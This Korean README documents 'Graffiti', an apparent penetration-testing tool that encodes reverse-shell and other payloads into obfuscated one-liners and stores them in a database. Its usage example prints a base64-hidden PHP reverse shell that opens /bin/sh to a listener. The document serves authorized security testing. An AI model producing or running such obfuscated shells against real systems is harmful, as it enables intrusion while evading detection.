
침투 테스트를 지원하기 위해 난독화된 원라이너를 생성하는 도구

Graffiti는 침투 테스트 상황에서 난독화된 원라이너를 생성하는 도구입니다. Graffiti는 다음 언어의 인코딩을 지원합니다:
Graffiti는 목록에 없는 언어도 허용하며, 해당 원라이너를 데이터베이스에 저장합니다.
Graffiti는 완전한 데이터베이스를 포함하고 있으며, 생성된 각 인코딩된 페이로드를 데이터베이스에 저장하여 사용자가 나중에 사용할 수 있도록 이미 생성된 페이로드를 확인할 수 있습니다. 페이로드는 다음 기술을 사용하여 인코딩할 수 있습니다:
Graffiti의 일부 기능은 다음과 같습니다:
Graffiti는 내장 터미널을 제공하며, 프로그램에 플래그를 전달하지 않으면 터미널 모드로 진입합니다. 터미널에는 기록, 외부 명령 실행 기능, 그리고 자체 내부 명령이 있습니다. 도움말을 보려면 help 또는 ?를 입력하면 됩니다:
________ _____ _____.__ __ .__
/ _____/___________ _/ ____\/ ____\__|/ |_|__|
/ \ __\_ __ \__ \\ __\\ __\| \ __\ |
\ \_\ \ | \// __ \| | | | | || | | |
\______ /__| (____ /__| |__| |__||__| |__|
\/ \/
v(0.1)
전달된 인수가 없어 터미널로 진입합니다. 도움말을 보려면 `help/?`를 입력하세요. `/bin`에 있는 모든 명령을 터미널에서 사용할 수 있습니다.
root@graffiti:~/graffiti# ?
명령어 설명
--------- --------------
help/? 이 도움말 표시
external 사용 가능한 외부 명령어 목록
cached 데이터베이스에 이미 있는 모든 페이로드 표시
list/show 사용 가능한 모든 페이로드 목록
search <phrase> 특정 페이로드 검색
use <payload> <coder> 이 페이로드를 사용하여 지정된 코더로 인코딩
info <payload> 지정된 페이로드에 대한 정보 가져오기
check 업데이트 확인
history 명령 기록 표시
exit/quit 터미널 및 실행 세션 종료
encode <script-type> <coder> 제공된 페이로드 인코딩
root@graffiti:~/graffiti# help
명령어 설명
--------- --------------
help/? 이 도움말 표시
external 사용 가능한 외부 명령어 목록
cached 데이터베이스에 이미 있는 모든 페이로드 표시
list/show 사용 가능한 모든 페이로드 목록
search <phrase> 특정 페이로드 검색
use <payload> <coder> 이 페이로드를 사용하여 지정된 코더로 인코딩
info <payload> 지정된 페이로드에 대한 정보 가져오기
check 업데이트 확인
history 명령 기록 표시
exit/quit 터미널 및 실행 세션 종료
encode <script-type> <coder> 제공된 페이로드 인코딩
Graffiti는 빠르게 페이로드를 인코딩해야 할 때를 위한 명령줄 인수도 함께 제공됩니다:
usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
[--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
[-l]
[-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]
[-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
[-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]]
선택적 인수:
-h, --help 이 도움말 메시지를 표시하고 종료
-c CODEC, --codec CODEC
인코딩 기술 지정 (*기본값=None)
-p PAYLOAD, --payload PAYLOAD
사용할 페이로드의 경로 전달 (*기본값=None)
--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
페이로드 파일을 생성하여 ./etc/payloads에 저장 (*기본값=None)
-l, --list 경로별로 사용 가능한 모든 페이로드 나열 (*기본값=False)
-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]
인코딩에 사용할 개인 페이로드 전달 (*기본값=None)
-lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS
페이로드에 사용할 리스닝 주소 전달 (필요한 경우) (*기본값=None)
-lP LISTENING-PORT, --lport LISTENING-PORT
페이로드에 사용할 리스닝 포트 전달 (필요한 경우) (*기본값=None)
-u URL, --url URL 페이로드에 필요한 경우 URL 전달 (*기본값=None)
-vC, --view-cached 데이터베이스에 이미 저장된 캐시 데이터 보기
-H, --no-history 명령 기록을 저장하지 않음 (*기본값=True)
-W, --wipe 데이터베이스와 기록 삭제 (*기본값=False)
--memory 데이터베이스를 .db 파일 대신 메모리에 초기화 (*기본값=False)
-mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]
추가 외부 명령 전달, 터미널 명령 내에서 액세스 가능하도록 함. 명령은 PATH에 있어야 함 (*기본값=None)
페이로드 인코딩은 다음과 같이 간단합니다:
root@graffiti:~/graffiti# python graffiti.py -c base64 -p /linux/php/socket_reverse.json -lH 127.0.0.1 -lP 9065
Encoded Payload:
--------------------------------------------------
php -r 'exec(base64_decode("JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDkwNjUpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7"));'
--------------------------------------------------
Graffiti의 데모는 여기에서 확인할 수 있습니다:
Linux, Mac 또는 Windows 시스템에서 Graffiti는 외부 패키지를 설치할 필요 없이 바로 작동해야 합니다. Graffiti를 시스템에 실행 파일로 설치하려면 (Linux 또는 Mac에서만 정상 작동), 다음을 수행하면 됩니다:
./install.sh
이 명령은 Graffiti를 시스템에 설치하여 어디서든 실행할 수 있게 합니다.
버그나 문제를 발견하셨다면, 여기에 상세 내용을 포함한 이슈를 생성해 주시기 바랍니다. 미리 감사드립니다!